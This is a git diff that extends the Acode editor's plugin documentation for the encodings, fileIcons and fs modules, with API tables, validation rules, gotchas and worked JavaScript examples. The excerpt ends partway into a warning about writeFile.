+Verified against Acode **v1.13.5** (versionCode `1011`): `src/utils/encodings.js`. This page documents the **plugin-facing surface only** — the module also exports internal helpers (`getEncoding`, `getEncodingName`, `detectEncoding`) that are *not* wired into `acode.require("encodings")`.
+:::
+
 ## Importing Encodings
 
 To use the Encoding utilities, you need to import them using the `acode.require` method:
@@ -10,6 +14,29 @@ To use the Encoding utilities, you need to import them using the `acode.require`
 const encodings = acode.require('encodings');
 ```
 
+`acode.require("encodings")` returns a small module object with exactly three members:
+
+| Member | Type | Description |
+| --- | --- | --- |
+| `encodings` | `Object` | Getter returning the live map of charsets the device reports. Keyed by charset **name**. |
+| `encode` | `(text: string, charset: string) => Promise<ArrayBuffer>` | Encodes a string. |
+| `decode` | `(buffer: ArrayBuffer, charset: string) => Promise<string \| object>` | Decodes an `ArrayBuffer`. `"json"` additionally parses. |
+
+::: warning Not exported to plugins
+`getEncoding(charset)`, `getEncodingName(charset)`, `detectEncoding(buffer)` and `initEncodings()` exist in `src/utils/encodings.js` but are **not** on the module object, so `acode.require("encodings").getEncoding` is `undefined`. Reproduce the small lookup yourself when you need it:
+
+```js
+function resolveCharset(charset) {
+  const wanted = String(charset || "").toLowerCase();
+  for (const [name, encoding] of Object.entries(encodings.encodings)) {
+    if (name.toLowerCase() === wanted) return name;
+    if (encoding.aliases.some((alias) => alias.toLowerCase() === wanted)) return name;
+  }
+  return "UTF-8"; // same fallback the app uses
+}
+```
+:::
+
 ## Usage
 
 ### Encoding a String
@@ -38,27 +65,87 @@ console.log(decoded);  // Output: 'Hello World!'
 
 ### `encode(text: string, charset: string): Promise<ArrayBuffer>`
 
-Encodes a string with the specified character set.
+Encodes a string with the specified character set. Both calls cross the Cordova bridge (`System.encode`), so it is asynchronous even though the charset lookup is not.
 
-- **text**: The text to encode.
-- **charset**: The character set name (e.g., UTF-8, GBK).
+| Parameter | Type | Description |
+| --- | --- | --- |
+| `text` | `string` | The text to encode. |
+| `charset` | `string` | The character set name or an alias (e.g. `"utf-8"`, `"utf8"`, `"GBK"`). Falsy values fall back to `acode.require("settings").value.defaultFileEncoding`. |
 
-### `decode(buffer: ArrayBuffer, charset: string): Promise<string>`
+Resolves with an `ArrayBuffer` holding the encoded bytes — this is exactly the value `fs.writeFile()` accepts and `fs.readFile()` (called with no encoding) returns.
+
+### `decode(buffer: ArrayBuffer, charset: string): Promise<string | object>`
 
 Decodes an ArrayBuffer into a string using the specified character set.
 
-- **buffer**: The ArrayBuffer to decode.
-- **charset**: The character set name (e.g., UTF-8, GBK).
+| Parameter | Type | Description |
+| --- | --- | --- |
+| `buffer` | `ArrayBuffer` | The ArrayBuffer to decode. |
+| `charset` | `string` | The character set name or an alias. |
+
+- With a normal charset it resolves with a `string`.
+- With `"json"` it resolves with the **parsed** value: the buffer is decoded as UTF-8 and then `JSON.parse`d. This is what `fs(url).readFile("json")` uses to load `plugin.json`.
 
 ## Properties
 
-### `encodings: Array<Encoding>`
+### `encodings: Object<string, Encoding>`
+
+The live map of charsets reported by the device. It is populated once during startup — `src/main.js` awaits `initEncodings()` before anything else — by a native `System.get-available-encodings` call, and read back as `{ [name]: { label, aliases, name } }`: a **plain object keyed by charset name, not an array**.
+
+```js
+const all = encodings.encodings;
+const names = Object.keys(all);            // canonical charset names
+const first = all[names[0]];
+first.name;    // e.g. "UTF-8"
+first.label;   // human readable display name
+first.aliases; // Array<string> of other accepted names
+```
+
+Each `Encoding` object contains:
+
+| Key | Type | Description |
+| --- | --- | --- |
+| `name` | `string` | Canonical charset name. Also the key it is stored under. |
+| `label` | `string` | Display name — what the Settings → Default file encoding dropdown shows. |
+| `aliases` | `string[]` | Other names the platform accepts for the same charset. |
+
+::: warning The list is device-dependent
+There is no hard-coded list in the Acode source. The map is whatever `Charset.availableCharsets()` returns on the running device's JVM, so a plugin must not assume a fixed set of labels. Enumerate `Object.keys(encodings.encodings)` and feature-detect:
+
+```js
+function isSupported(charset) {
+  const wanted = String(charset).toLowerCase();
+  return Object.entries(encodings.encodings).some(
+    ([name, encoding]) =>
+      name.toLowerCase() === wanted ||
+      encoding.aliases.some((alias) => alias.toLowerCase() === wanted),
+  );
+}
+```
+:::
+
+## Charset Resolution <Badge type="tip" text="new" />
+
+Every call resolves the charset you pass through the same three-step lookup:
+
+1. **Falsy charset** → `acode.require("settings").value.defaultFileEncoding`, which defaults to `"UTF-8"`. (Reachable from `encode(text)` with no charset; `fs.readFile` / `fs.writeFile` skip the charset path entirely when `encoding` is falsy.)
+2. **`"auto"`** → `"UTF-8"`. The auto-detecting path lives in the editor (`lib/openFile.js` calls `detectEncoding()` on the raw bytes when the setting is `"auto"`), **not** in `encode` / `decode`.
+3. **Case-insensitive name-or-alias match** → the canonical `name`. The lookup lowercases both the request and every name/alias, so `"utf-8"`, `"UTF-8"` and `"utf8"` are all the same charset.
+
+### What happens on an unknown label <Badge type="tip" text="new" />
+
+**Nothing is thrown — the call silently uses UTF-8.**
+
+```js
+await encodings.encode("héllo", "not-a-charset"); // encoded as UTF-8
+await encodings.decode(buffer, "utf16");           // decoded as UTF-8
+```
 
-An array of all the supported encodings. Each `Encoding` object contains:
+The lookup returns the `"UTF-8"` entry when no name or alias matches, so the platform is always asked for a charset it supports and never reports `"Charset not supported: …"`. The practical consequence is a **silent mis-decode** of a mislabelled file rather than an exception, so validate user-supplied charsets against `encodings.encodings` first.
 
-- **name**: The name of the encoding.
-- **labels**: The labels of the encoding.
-- **aliases**: The aliases of the encoding.
+::: info
+The native `System.encode` / `System.decode` bridge does have an error path — it rejects with `Charset not supported: <name>` if the resolved charset is unsupported on the device. You will only reach it through a broken or incomplete `encodings` map.
+:::
 
 ## Example
 
@@ -100,4 +187,75 @@ You can check all the available encodings supported by Acode:
 console.log(encodings.encodings);
 ```
 
-This will print an array of `Encoding` objects, each containing details about the encoding.
+This will print an object whose keys are charset names and whose values are `Encoding` objects (`{ name, label, aliases }`), each containing details about the encoding.
+
+## Worked Examples <Badge type="tip" text="new" />
+
+::: code-group
+
+```js [utf-8 round trip]
+const encodings = acode.require("encodings");
+
+const buffer = await encodings.encode("héllo 世界", "utf-8");
+await encodings.decode(buffer, "utf-8"); // "héllo 世界"
+```
+
+```js [Legacy charset: GBK]
+const encodings = acode.require("encodings");
+
+// Encode Chinese text as GBK and read it back with the same label.
+const buffer = await encodings.encode("Hello 世界", "gbk");
+const text = await encodings.decode(buffer, "GBK"); // label case does not matter
+```
+
+```js [JSON]
+const encodings = acode.require("encodings");
+
+const buffer = await encodings.encode(JSON.stringify({ a: 1 }), "utf-8");
+const obj = await encodings.decode(buffer, "json"); // { a: 1 } — parsed, not a string
+```
+
+```js [Binary, with no charset involved]
+const fs = acode.require("fs");
+const fileUrl = "file:///sdcard/Acode/logo.png";
+
+// Bytes in, bytes out. Never route binary through a charset.
+const bytes = await fs(fileUrl).readFile();       // ArrayBuffer
+await fs(fileUrl).writeFile(bytes);               // no encoding argument
+```
+
+```js [base64 / data URL]
+const fs = acode.require("fs");
+
+const buffer = await fs("file:///sdcard/Acode/logo.png").readFile();
+const bytes = new Uint8Array(buffer);
+let binary = "";
+for (let i = 0; i < bytes.length; i += 0x8000) {
+  binary += String.fromCharCode(...bytes.subarray(i, i + 0x8000));
+}
+const dataUrl = `data:image/png;base64,${btoa(binary)}`;
+```
+
+```js [Honour the user's default charset]
+const fs = acode.require("fs");
+const settings = acode.require("settings");
+const fileUrl = "file:///sdcard/Acode/notes.txt";
+
+// The app default is "UTF-8" unless the user changed it in Settings.
+// Pass it explicitly: "auto" would be rewritten to "UTF-8" instead.
+const charset = settings.value.defaultFileEncoding || "UTF-8";
+const text = await fs(fileUrl).readFile(charset);
+```
+
+:::
+
+## Gotchas <Badge type="tip" text="new" />
+
+1. **`encodings` is an object, not an array.** `encodings.encodings.map(...)` is not a function — use `Object.keys(...)`. Each value has `label`, not `labels`.
+2. **Unknown charsets fall back to UTF-8 silently.** There is no throw and no warning; see [Charset Resolution](#what-happens-on-an-unknown-label).
+3. **`"auto"` means UTF-8 here, not "detect".** It is rewritten to `"UTF-8"` before the lookup. Real detection (`detectEncoding()`) is an internal editor step and is not exposed to plugins.
+4. **Labels are case-insensitive and alias-aware**, so a charset name coming from a settings file or user input rarely needs normalising — but an unknown one still resolves to UTF-8, which is the real hazard.
+5. **`decode()` returns `object`, not `string`, when the charset is `"json"`.** Type your result accordingly.
+6. **The charset list is device-dependent** (it comes from the platform's available charsets), so never hard-code a list of expected names.
+7. **Encoding is only applied to strings.** `encode()` takes a `string`; binary data must stay an `ArrayBuffer` and travel through [`fs`](./fs.md) instead.
+8. **No BOM handling here.** The only BOM stripping in the codebase happens in the SAF provider of `fs.readFile()`; `decode()` on a BOM-prefixed buffer keeps the leading zero-width no-break space (`U+FEFF`).
diff --git a/docs/utilities/file-icons.md b/docs/utilities/file-icons.md
index c563364..372dfaf 100644
--- a/docs/utilities/file-icons.md
+++ b/docs/utilities/file-icons.md
@@ -1,9 +1,9 @@
-# File Icons API <Badge type="tip" text="v1012+" />
+# File Icons API
 
-Use `acode.require("fileIcons")` to register an icon pack. Acode owns matching and rendering; a pack supplies assets and association maps. Users select the active pack in **Settings → App settings → Icon pack**.
+Use `acode.require("fileIcons")` to register an icon pack. Acode owns matching and rendering; a pack supplies assets and association maps. Users select the active pack in **Settings → App settings → Interface → Icon pack** (setting key `iconTheme`).
 
 ::: info
-Available from **versionCode `1012`** (the next Acode release). Set `"minVersionCode": 1012` in `plugin.json` when your plugin depends on it.
+Present in the Acode **v1.13.5** source tree (`src/lib/fileIcons.ts`, `src/lib/fileIconsBuiltin.ts`). `CHANGELOG.md` does not record a `versionCode` for this API, so do not hardcode one — feature-detect with `acode.require("fileIcons")?.register`.
 :::
 
 ## Import
@@ -45,6 +45,47 @@ acode.setPluginUnmount(plugin.id, () => registration?.dispose());
 
 Both forms expose only `register`, `icon`, and `onChange`. Acquisition outside a loader-bound context throws with instructions to use these entry points. Pack ownership never comes from the pack's `id`; a plugin can still provide several separately named packs.
 
+## The plugin-bound API <Badge type="tip" text="new" />
+
+`fileIcons` is the one module `acode.require()` does **not** return directly. It is special-cased:
+
+```js
+require(module) {
+	if (module.toLowerCase() === "fileicons")
+		return fileIcons.getPluginApi(document.currentScript);
+	return this.#modules[module.toLowerCase()];
+}
+```
+
+The full internal registry (with `list()`, `active()`, `use()`, `resolve()`, `resolveMany()`, `unregister()` and `refreshRenderedIcons()`) is **never** exported to plugins. What you get is a frozen three-method view, created per plugin `<script>` element:
+
+```js
+const api = Object.freeze({
+	register: (pack) => { /* ownership is injected for you */ },
+	icon: registry.icon.bind(registry),
+	onChange: (listener) => { /* scoped + tracked per plugin */ },
+});
+```
+
+What "plugin-bound" means in practice:
+
+| Behaviour | Consequence |
+| --- | --- |
+| One frozen API object per plugin `<script>` | Mutating or extending it has no effect — `Object.freeze` |
+| `register()` injects `pluginId` for you | A pack's `pluginId` cannot point at another plugin; supplying a mismatching one throws |
+| Calling `bindPlugin` twice for the same id throws | `Plugin '<id>' is already bound` |
+| Every `onChange` subscription is tracked per plugin | Acode detaches them **before** pack-removal events fire during unload |
+| `unregisterByPlugin(pluginId)` runs on unmount, on script `onerror`, and when init throws | You do not have to dispose manually to avoid a leak |
+| After unload, `register` / `onChange` throw | `Icon API for plugin '<id>' has been unloaded`. A retained API object stays unusable even after the plugin reloads |
+
+Acquiring the API from anywhere other than the executing main script throws:
+
+```text
+Require "fileIcons" in the plugin main script, or use options.fileIcons in the init callback
+```
+
+`icon()` is the one method that keeps working after unload, because it does not assert plugin liveness — but it is still your frozen object, not the registry.
+
 ## Quick start
 
 ```js
@@ -84,31 +125,41 @@ There is one format, with association maps and defaults at the top level.
 
 | Field | Type | Meaning |
 | --- | --- | --- |
-| `id` | `string` | Required stable pack ID. Start with a letter; use letters, digits, `.`, `_`, or `-`. `builtin` is reserved. |
-| `pluginId` | `string` | Optional compatibility field. If supplied, it must match the loading plugin; a mismatch throws. Acode supplies ownership internally. |
-| `name` | `string` | Display name; defaults to `id`. |
-| `schemaVersion` | `number` | Optional; defaults to `1`. Unsupported versions are rejected. |
-| `icons` | `string` \| `object` | An absolute SVG directory URL, or a map of icon IDs to definitions. |
-| `fileNames` | `Record<string, string>` | Exact basenames mapped to icon IDs, such as `package.json`. |
-| `fileExtensions` | `Record<string, string>` | Extensions without leading dots, including compounds such as `test.ts`. |
-| `languageIds` | `Record<string, string>` | Acode CodeMirror mode names mapped to icon IDs. |
-| `folderNames` | `Record<string, string>` | Folder basenames mapped to closed icon IDs. |
-| `folderNamesExpanded` | `Record<string, string>` | Folder basenames mapped to expanded icon IDs. |
-| `file` | `string` | Default file icon ID. Omitted: built-in file fallback. |
-| `folder` | `string` | Default closed folder icon ID. Omitted: built-in folder fallback. |
-| `folderExpanded` | `string` | Expanded folder icon ID. Omitted: reuse `folder`. |
-| `rootFolder` | `string` | Workspace-root icon ID. Omitted: reuse `folder`. |
-| `rootFolderExpanded` | `string` | Expanded root icon ID. Falls back through `rootFolder`, `folderExpanded`, then `folder`. |
+| `id` | `string` | Required stable pack ID. Must match `/^[a-zA-Z][a-zA-Z0-9._-]*$/`. `builtin` is reserved and replacing it throws |
+| `pluginId` | `string` | Optional compatibility field. If supplied, it must match the loading plugin; a mismatch throws. Acode supplies ownership internally |
+| `name` | `string` | Display name; defaults to `id` |
+| `schemaVersion` | `number` | Optional; defaults to `1`. Any other value throws |
+| `icons` | `string` \| `object` | An absolute SVG directory URL, or a map of icon IDs to definitions |
+| `fileNames` | `Record<string, string>` | Exact basenames mapped to icon IDs, such as `package.json` |
+| `fileExtensions` | `Record<string, string>` | Extensions without leading dots, including compounds such as `test.ts` |
+| `languageIds` | `Record<string, string>` | Acode CodeMirror mode names mapped to icon IDs |
+| `folderNames` | `Record<string, string>` | Folder basenames mapped to closed icon IDs |
+| `folderNamesExpanded` | `Record<string, string>` | Folder basenames mapped to expanded icon IDs |
+| `file` | `string` | Default file icon ID. Omitted: built-in file fallback |
+| `folder` | `string` | Default closed folder icon ID. Omitted: built-in folder fallback |
+| `folderExpanded` | `string` | Expanded folder icon ID. Omitted: reuse `folder` |
+| `rootFolder` | `string` | Workspace-root icon ID. Omitted: reuse `folder` |
+| `rootFolderExpanded` | `string` | Expanded root icon ID. Falls back through `rootFolder`, `folderExpanded`, then `folder` |
 
 Unknown fields, ambiguous definitions, conflicting normalized associations, and unknown icon references throw descriptive errors during registration. A rejected replacement leaves the previous pack active. Same-icon duplicate associations are allowed, which makes combining maps convenient.
 
+### Key validation <Badge type="tip" text="new" />
+
+| Key kind | Rules |
+| --- | --- |
+| `fileExtensions` | Must not start or end with `.`, must not contain `..`, and must not contain whitespace, `/` or `\`. Lowercased. `".ts"` throws `Invalid fileExtension '.ts'; omit leading dots and paths` |
+| `languageIds`, `folderNames`, `folderNamesExpanded` | Lowercased; no other restriction |
+| `fileNames` | Case-sensitive, plus a separate case-insensitive index. Two keys that differ only by case must map to the **same** icon, otherwise `Conflicting fileName association` throws |
+
+Association values must all be non-empty strings, and every value must resolve to a defined icon — otherwise `fileExtensions.js references unknown icon 'nope'` throws.
+
 There are no `label`, nested `associations`/`defaults`, `iconDefinitions`, `iconPath`, string definitions, or automatic expanded-asset aliases. Light/dark asset variants are not part of version 1. Use monochrome icons for automatic color adaptation. This format is inspired by editor icon packs; it is **not** a drop-in VS Code or Zed schema.
 
 ## Icon definitions
 
 An explicit definition has exactly one of:
 
-- `src`: an absolute image URL. Use plugin-local SVG, PNG, or WebP assets. Optional `monochrome: true` uses the image as a mask with the current text color.
+- `src`: an **absolute image URL**. Optional `monochrome: true` uses the image as a CSS mask painted with the current text colour.
 - `className`: existing CSS classes, for integration with an icon font or plugin stylesheet. The plugin owns that stylesheet and its cleanup.
 
 ```js
@@ -116,10 +167,40 @@ icons: {
   javascript: { src: `${baseUrl}icons/javascript.svg` },
   folder: { src: `${baseUrl}icons/folder.svg`, monochrome: true },
   text: { className: "file file_type_default" },
+  logo: { src: "data:image/svg+xml;base64,PHN2Zy8+" },
 }
 ```
 
-Directory shorthand IDs use letters, digits, underscores, and hyphens. Explicit definition maps can use other non-empty IDs; generated CSS identifiers remain distinct.
+### Accepted `src` values <Badge type="tip" text="new" />
+
+A `src` is accepted only if it starts with one of:
+
+| Form | Example |
+| --- | --- |
+| `data:image/…` | `data:image/svg+xml;base64,PHN2Zy8+` |
+| `http:` / `https:` | `https://example.com/icon.svg` |
+| `blob:` | `blob:https://localhost/…` |
+| `file:` | `file:///sdcard/icon.svg` |
+| `content:` | `content://com.android.externalstorage.documents/…` |
+| `ftp:` | `ftp://example.com/icon.svg` |
+| a leading `/` | `/data/user/0/com.foxdebug.acode/files/icon.svg` |
+
+Everything else throws `Unsafe icon asset for 'icons.<id>.src'`. A `src` also may **not** contain whitespace, `"`, `'`, `(`, `)` or `\`, because the value is interpolated into a generated stylesheet.
+
+::: warning Inline SVG markup is not a `src`
+You cannot paste `<svg>…</svg>` as a definition value. Use a `data:image/svg+xml;base64,…` URI, a real URL, or the directory shorthand.
+:::
+
+Other validation rules:
+
+| Rule | Error |
+| --- | --- |
+| Both `src` and `className` set, or neither | `icons.<id> needs exactly one of src or className` |
+| `monochrome` without `src`, or not a boolean | `icons.<id>.monochrome requires src and must be a boolean` |
+| Empty `className` | `icons.<id>.className must be a non-empty string` |
+| Any other key inside a definition | `icons.<id>.<key> is not supported` |
+
+Directory shorthand IDs must match `/^[a-zA-Z0-9_-]+$/` — letters, digits, underscores and hyphens only, no dots. Explicit definition maps can use other non-empty IDs; generated CSS identifiers remain distinct.
 
 Acode cannot detect missing glyphs in a custom CSS class. CSS class definitions are the plugin's responsibility.
 
@@ -142,16 +223,26 @@ While an image loads, or if it fails, resolution returns a usable fallback. An u
 
 The examples below assume `const fileIcons = acode.require("fileIcons")`. These three methods and the returned cleanup functions are the complete plugin surface. An icon-pack-only plugin needs just `register` and its disposable. `icon` and `onChange` support plugins that render their own file lists.
 
+| Method | Signature |
+| --- | --- |
+| `register` | `register(pack: FileIconTheme) => { dispose(): void }` |
+| `icon` | `icon(resource: string \| IconResource) => string` |
+| `onChange` | `onChange(listener: (info: {activeId: string, preferredId: string}) => void) => () => void` |
+
 | Method | Contract |
 | --- | --- |
 | `register(pack)` | Validate and register a complete pack. Same ID and owner replaces the previous pack atomically. Returns `{ dispose() }`. |
-| `icon(resource)` | CSS class string for the resource's current icon or fallback. |
+| `icon(resource)` | CSS class string for the resource's current icon or fallback. Synchronous. |
 | `onChange(listener)` | Subscribe to active/preferred pack changes, active pack replacement/removal, and asset readiness. Returns an unsubscribe function. Listener receives `{ activeId, preferredId }`. |
 
-Only `register`, `icon`, and `onChange` are exported to plugins. Pack selection, catalog queries, detailed/batch resolution, settings binding, and DOM refresh are internal. There is no public `use`, `update`, `unregister`, override system, or method alias. Users choose packs in settings. Register a complete replacement to update; dispose the registration to remove it.
+Only `register`, `icon`, and `onChange` are exported to plugins. Pack selection (`use`), catalog queries (`list`, `active`), detailed/batch resolution (`resolve`, `resolveMany`), direct removal (`unregister`, `unregisterByPlugin`), settings binding (`bindSettings`, `syncFromSettings`) and DOM refresh (`refreshRenderedIcons`) are internal. There is no public `use`, `update`, `unregister`, override system, or method alias. Users choose packs in settings. Register a complete replacement to update; dispose the registration to remove it.
 
 Disposal is idempotent. Disposing an older registration cannot remove its replacement. Pack IDs owned by another plugin cannot be replaced. The loader binds lifecycle ownership independently of the pack definition. A retained registration API cannot register packs after its plugin unloads, including after that plugin reloads. This is lifecycle isolation, not a security sandbox between JavaScript plugins.
 
+::: tip Free automatic refresh
+Acode's own `refreshRenderedIcons()` sweeps the document for `[data-file-icon-name]` elements and rewrites their `className`. Any element you render with those attributes is updated for you whenever the pack changes or an asset finishes loading — no `onChange` subscription needed. This is how plugin settings rows using `ListItem.fileIcon` stay in sync.
+:::
+
 ### `register(pack)` — publish or replace a pack
 
 Call this during plugin initialization with the complete pack object. It validates synchronously and returns a registration handle; it does not wait for image loading or select the pack. The [quick start](#quick-start) is a complete registration guide.
@@ -243,21 +334,89 @@ Multiple asset completions may be grouped into one frame. `activeId` and `prefer
 
 Listeners run synchronously when notified. Keep them lightweight; resolve current rows instead of re-registering packs from the listener. One throwing listener is logged and does not prevent other listeners from running. Detached views can refresh their own elements directly; views that skip work while hidden should refresh when shown again.
 
+## Complete example <Badge type="tip" text="new" />
+
+Register a custom icon for a file extension, draw it in a plugin-owned list, and keep it live:
+
+```js
+// main.js
+if (window.acode) {
+  const fileIcons = acode.require("fileIcons");
+  const page = acode.require("page");
+
+  let registration;
+  let unsubscribe;
+  let listEl;
+
+  const rows = [
+    { kind: "file", name: "a.todo" },
+    { kind: "file", name: "README.md" },
+    { kind: "folder", name: "src", expanded: false },
+    { kind: "folder", name: "src", expanded: true },
+  ];
+
+  acode.setPluginInit(plugin.id, (baseUrl) => {
+    // 1. Register the pack. Acode injects pluginId for us.
+    registration = fileIcons.register({
+      id: plugin.id,
+      name: "My Icons",
+      icons: `${baseUrl}icons/`, // todo.svg, folder-todo.svg, folder-todo-open.svg
+      fileExtensions: { todo: "todo" },
+      folder: "folder-todo",
+      folderExpanded: "folder-todo-open",
+    });
+
+    // 2. Build a list that renders icons through the pack.
+    listEl = tag("ul", { className: "scroll" });
+
+    const render = () => {
+      listEl.content = rows.map((resource) =>
+        tag(
+          "li",
+          // Keep your own layout class; the pack supplies the glyph class.
+          { className: `row ${fileIcons.icon(resource)}` },
+          tag("span", { textContent: resource.name }),
+        ),
+      );
+    };
+    render();
+
+    // 3. Re-render whenever the active pack changes or an asset finishes loading.
+    unsubscribe = fileIcons.onChange(({ activeId, preferredId }) => {
+      console.log("icon pack changed:", activeId, preferredId);
+      render();
+    });
+
+    // 4. Publish it on the plugin page.
+    page.appendBody(listEl);
+  });
+
+  acode.setPluginUnmount(plugin.id, () => {
+    unsubscribe?.();
+    registration?.dispose();
+  });
+}
+```
+
+::: warning Assets must be reachable
+`icons: "${baseUrl}icons/"` must end with a `/`. Acode joins it with `<id>.svg`, so `javascript` becomes `<baseUrl>icons/javascript.svg`. If an asset 404s, resolution falls back and the console logs `[fileIcons] Theme '<id>' could not load '<src>'; using fallback` once per activation.
+:::
+
 ## Resource reference
 
 For `icon`, a resource is a filename string, or an object:
 
 | Field | Type | Meaning |
 | --- | --- | --- |
-| `name` | `string` | Required basename or path. URI decoding is not performed. |
-| `kind` | `"file"` \| `"folder"` | Defaults to `file`. |
-| `languageId` | `string` | Optional known Acode mode name for a file; avoids language inference. Filename/extension associations still take precedence. |
-| `expanded` | `boolean` | Folder expansion state, `false` when omitted. |
-| `isRoot` | `boolean` | Whether a folder is a workspace root, `false` when omitted. |
+| `name` | `string` | Required basename or path. Only the basename is matched; URI decoding is not performed |
+| `kind` | `"file" \| "folder"` | Defaults to `file` |
+| `languageId` | `string` | Optional known Acode mode name for a file; avoids language inference. Filename/extension associations still take precedence |
+| `expanded` | `boolean` | Folder expansion state, `false` when omitted |
+| `isRoot` | `boolean` | Whether a folder is a workspace root, `false` when omitted |
 
 Names may be passed as paths for convenience; only the basename is matched. URI parsing is the caller's responsibility.
 
-The built-in ID `builtin` and stored setting key `iconTheme` remain unchanged. **Icon pack** and **Builtin** are the display names; existing saved selections continue to work.
+The built-in ID `builtin` and stored setting key `iconTheme` remain unchanged. **Icon pack** and **Builtin** are the display names; existing saved selections continue to work. When a plugin registers a pack whose ID matches the user's stored `iconTheme`, it is activated immediately — so a disabled-and-reenabled plugin restores the user's choice without any extra code.
 
 ## Custom plugin views
 
@@ -294,7 +453,7 @@ acode.setPluginInit(plugin.id, async (baseUrl) => {
 });
 ```
 
-The [icon pack example plugin](https://github.com/Acode-Foundation/acode-icon-plugin-example) shows JSON loading and conversion from an existing pack. Install its `plugin.zip`, then select **Icon Pack Example** in **Settings → App settings → Icon pack**.
+The [icon pack example plugin](https://github.com/Acode-Foundation/acode-icon-plugin-example) shows JSON loading and conversion from an existing pack. Install its `plugin.zip`, then select **Icon Pack Example** in **Settings → App settings → Interface → Icon pack**.
 
 ## Migrating from the draft API
 
diff --git a/docs/utilities/fs.md b/docs/utilities/fs.md
index 2363c8e..48c25c2 100644
--- a/docs/utilities/fs.md
+++ b/docs/utilities/fs.md
@@ -1,6 +1,12 @@
 # File System(fs)
 
-The `fs` module provides a simplified API for interacting with the file system in Acode, primarily for basic file and directory operations. This does not support symbolic links (`symlink`), reflecting limitations typical on these platforms.
+The `fs` module provides a simplified API for interacting with the file system in Acode, primarily for basic file and directory operations.
+
+`fsOperation(url)` returns a **flat handler object bound to that one URL**. There is no separate `File` or `Directory` class, and the handle has no `isFile()`, `isDirectory()`, `getName()`, `getPath()`, `getParent()` or `getUri()` method — use `await fs.stat()` to find out what the URL points at. There is also no API for creating or following symbolic links, although SFTP entries do report `isLink` / `linkTarget`.
+
+::: info
+Verified against Acode **v1.13.5** (versionCode `1011`): `src/fileSystem/index.js` plus the providers `internalFs.js`, `externalFs.js`, `ftp.js`, `sftp.js`.
+:::
 
 ### Importing the Module
 
@@ -14,26 +20,42 @@ const fs = acode.require('fs');
 const fs = acode.require('fsOperation');
 ```
 
+Both names are registered in `src/lib/acode.js` as aliases of the **same** `fsOperation` function (`this.define("fs", fsOperation)` and `this.define("fsOperation", fsOperation)`), and `acode.require()` lowercases the module name, so `acode.require('FS')` resolves too. The identical function is also exposed as the method [`acode.fsOperation(path)`](../global-apis/acode.md#fsoperation-file-string-file).
+
 ### Creating a File System Object
 
-To perform file operations, you first need to create a file system object by providing a URL (path) to the file or directory:
+To perform file operations, you first need to create a file system object by providing a URL (path) to the file or directory. **This call is synchronous** — the handler object is built eagerly, but nothing touches the disk until you call one of its methods:
 
 ```javascript
 /**
  * Create a file system object from a URL
- * @param {...string} url URL of the file or directory
- * @returns {FileSystem} File system object
+ * @param {...string} url URL of the file or directory. Several parts are joined with Url.join().
+ * @returns {FileSystem|undefined} File system object, or undefined if no provider handles the scheme
  */
-const filesystem = await fs(url);
+const filesystem = fs(url);
 ```
 
+| Input | Result |
+| --- | --- |
+| `fs('file:///data/user/0/com.foxdebug.acode/files/AcodeCache')` | `internalFs` provider — app-internal and `/sdcard` `file://` paths |
+| `fs('content://com.android.externalstorage.documents/tree/primary%3ADownload')` | `externalFs` provider — Android SAF documents |
+| `fs('ftp://user:pass@host:2121/pub/?security=explicit&mode=active')` | `Ftp` provider |
+| `fs('sftp://profile-abc123/var/www/')` | `Sftp` provider — requires a native SFTP profile (`sftp.fromUrl` throws for legacy credential URLs) |
+| `fs('https://example.com/plugin.json')` | Read-only HTTP provider — only `readFile` and `writeFile` exist |
+| `fs('myapp://data/x.txt')` | `undefined` — no provider is registered for that scheme |
+
+Two consequences that catch most plugins out:
+
+- **A missing path is not an error.** `fsOperation()` never touches the disk, so it happily returns a handle for a URL that does not exist. The failure surfaces on the first method call, and `exists()` is the only method that reports it as `false` instead of rejecting. Guard with `await fs.exists()` before reading.
+- **The handle is not a directory cursor.** `createFile`, `createDirectory`, `copyTo` and `moveTo` all resolve their names against this one fixed URL. To act on a sibling entry, call `fsOperation()` again with the new URL.
+
 ## File System Methods
 
 Once you have a `FileSystem` object, you can use the following methods:
 
 ### `lsDir()`
 
-Returns a list of entries (files and directories) within the specified directory.
+Returns a list of entries (files and directories) within the specified directory. It is **not recursive** — exactly one level.
 
 ```javascript
 /**
@@ -43,6 +65,12 @@ Returns a list of entries (files and directories) within the specified directory
 const allFiles = await filesystem.lsDir();
 ```
 
+There is **no `ls()`** method and no separate `lsDir()`-for-folders-only variant: `lsDir()` returns files and directories mixed together, and you filter with `entry.isDirectory`. Entries are plain data objects, not handles — to act on one, call `fsOperation(entry.url)`. See [`Entry`](#the-lsdir-entry-shape).
+
+::: warning
+`lsDir()` rejects when the URL is not an existing directory. On `file://` URLs the rejection carries a `code` plus a `message` from the table in `src/fileSystem/internalFs.js` — `1` → `"Path not found"`, `11` → `"Type mismatch"`, and `"Uncaught error"` for anything else.
+:::
+
 ### `readFile(encoding?)`
 
 Reads the contents of a file. Optionally accepts an encoding parameter (`encoding`) for text files.
@@ -50,42 +78,67 @@ Reads the contents of a file. Optionally accepts an encoding parameter (`encodin
 ```javascript
 /**
  * Read contents of a file
- * @param {string} [encoding] Encoding for text files
- * @returns {Promise<string | ArrayBuffer>} File content
+ * @param {string} [encoding] Encoding for text files. One of "json", "auto", or any charset
+ *   name/alias from acode.require("encodings").encodings.
+ * @returns {Promise<string | object | ArrayBuffer>} File content
  */
 const fileContent = await filesystem.readFile();
 ```
 
-### `writeFile(content)`
+| Call | Resolves with |
+| --- | --- |
+| `readFile()` | `ArrayBuffer` of the raw bytes |
+| `readFile('utf-8')` / `readFile('utf8')` / `readFile('GBK')` | `string` decoded with that charset |
+| `readFile('json')` | the **parsed** object — the text is decoded as UTF-8 and passed through `JSON.parse` |
+| `readFile('auto')` | `string`, decoded as **UTF-8** — `"auto"` is rewritten to `"UTF-8"` before the lookup. To honour the user's configured default, pass `acode.require("settings").value.defaultFileEncoding` yourself. |
+
+`readFile('json')` is the single most useful form — it is what the app itself uses to load `plugin.json` (`src/lib/loadPlugins.js`, `src/pages/plugins/plugins.js`).
+
+::: info
+On `content://` (SAF) URLs the returned text has a leading UTF-8 BOM stripped before decoding, so a BOM-prefixed file reads cleanly.
+:::
+
+### `writeFile(content, encoding?)`
 
 Writes data to a file.
 
 ```javascript
 /**
  * Write data to a file
- * @param {string | ArrayBuffer} content Content to write
+ * @param {string | ArrayBuffer | Blob} content Content to write
+ * @param {string} [encoding] Charset to encode string content with. Ignored for binary content.
  * @returns {Promise<void>} Promise indicating completion
  */
 await filesystem.writeFile('content to write');
 ```
 
+::: danger `writeFile()` does not create the file
